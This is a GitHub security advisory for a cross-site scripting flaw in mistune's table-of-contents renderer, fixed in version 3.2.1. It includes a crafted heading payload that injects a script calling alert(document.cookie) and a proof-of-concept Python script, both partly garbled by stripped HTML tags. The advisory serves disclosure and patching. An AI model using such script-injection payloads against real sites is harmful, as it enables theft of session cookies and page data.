GitHub Advisoryadvisory · PyPI

GHSA-6269-cqxg-mhhv Mistune TOC Anchor Injection XSS

MEDIUM Published 2026-05-14 Modified 2026-06-08 Official page ↗
Aliases
CVE-2026-44898
Ecosystem
PyPI
Packages
mistune
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weaknesses
CWE-79
Reviewed
2026-05-14

Affected packages

• PyPI mistune: >= 3.2.0, < 3.2.1 → fixed in 3.2.1

Description

Summary `render_toc_ul()` builds a `` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href="#"`) and the `text` value (used as the visible link label) are inserted into `` tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href="#..."` attribute context, injecting arbitrary HTML tags including `` blocks directly into the rendered TOC. This vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup. Details File: `src/mistune/toc.py` ```python def render_toc_ul(toc): ... for level, k, text in toc: # k = heading id (used verbatim as href fragment) # text = heading text (used verbatim as link label) item = '{}'.format(k, text) # Neither k nor text is passed through escape() at any point ``` The `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `"` or `>`, the `href` attribute is broken. If `text` contains ` Introduction Installation ``` Step 2 — Enable the vulnerable `heading_id` callback Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators: ```python def raw_id(token, index): return token.get("text", "") md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ``` Step 3 — Craft the exploit payload Construct a heading whose text terminates the `href="#..."` attribute and injects a `` block followed by a dangling `` that `render_toc_ul` appends: ``` x">alert(document.cookie)alert(document.cookie)alert(document.cookie)`: ```python '{}'.format(k, text) becomes: 'alert(document.cookie)...' ``` Actual output: ```html alert(document.cookie)x&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;a href=&quot; ``` The `` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune's inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere. Script I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser. ```python !/usr/bin/env python3 """H4: render_toc_ul() puts raw heading ID into without escaping.""" import os, html as h from mistune import create_markdown from mistune.toc import add_toc_hook, render_toc_ul def raw_id(token, index): return token.get("text", "") --- baseline --- md_safe = create_markdown(escape=True) add_toc_hook(md_safe) bl_file = "baseline_h4.md" bl_src = "# Introduction\n\n## Installation\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) _, state = md_safe.parse(bl_src) bl_out = render_toc_ul(state.env.get("toc_items", [])) print(f"[{bl_file}]\n{bl_src}") print("[toc output — safe]") print(bl_out) --- exploit --- md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ex_file = "exploit_h4.md" ex_src = '## x">alert(document.cookie) {'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)} Input — {h.escape(filename)} {h.escape(src)} TOC output — HTML source {h.escape(out)} ↓ rendered in browser {out} """ page = f""" H4 — TOC XSS{CSS} H4 — TOC render_toc_ul() XSS render_toc_ul() in toc.py uses '&lt;a href="#{{}}"&gt;{{}}&lt;/a&gt;'.format(k, text) — neither k (the heading ID) nor text is escaped before insertion. {case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)} {case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)} """ out_path = os.path.join(os.getcwd(), "report_h4.html") with open(out_path, "w") as f: f.write(page) print(f"\n[report] {out_path}") ``` Example usage: ```bash python poc.py ``` Once you run the script, open `report_h4.html` in the browser and observe the behaviour. Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin | | Integrity | Arbitrary DOM manipulation, phishing form injection, forced redirects | | Availability | Page crash or freeze available as secondary effect | Risk context: TOC generation is a ren…

Related

Alias · CVE (1)

  • CVE-2026-44898 Mistune is a Python Markdown parser with renderers and plugins. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References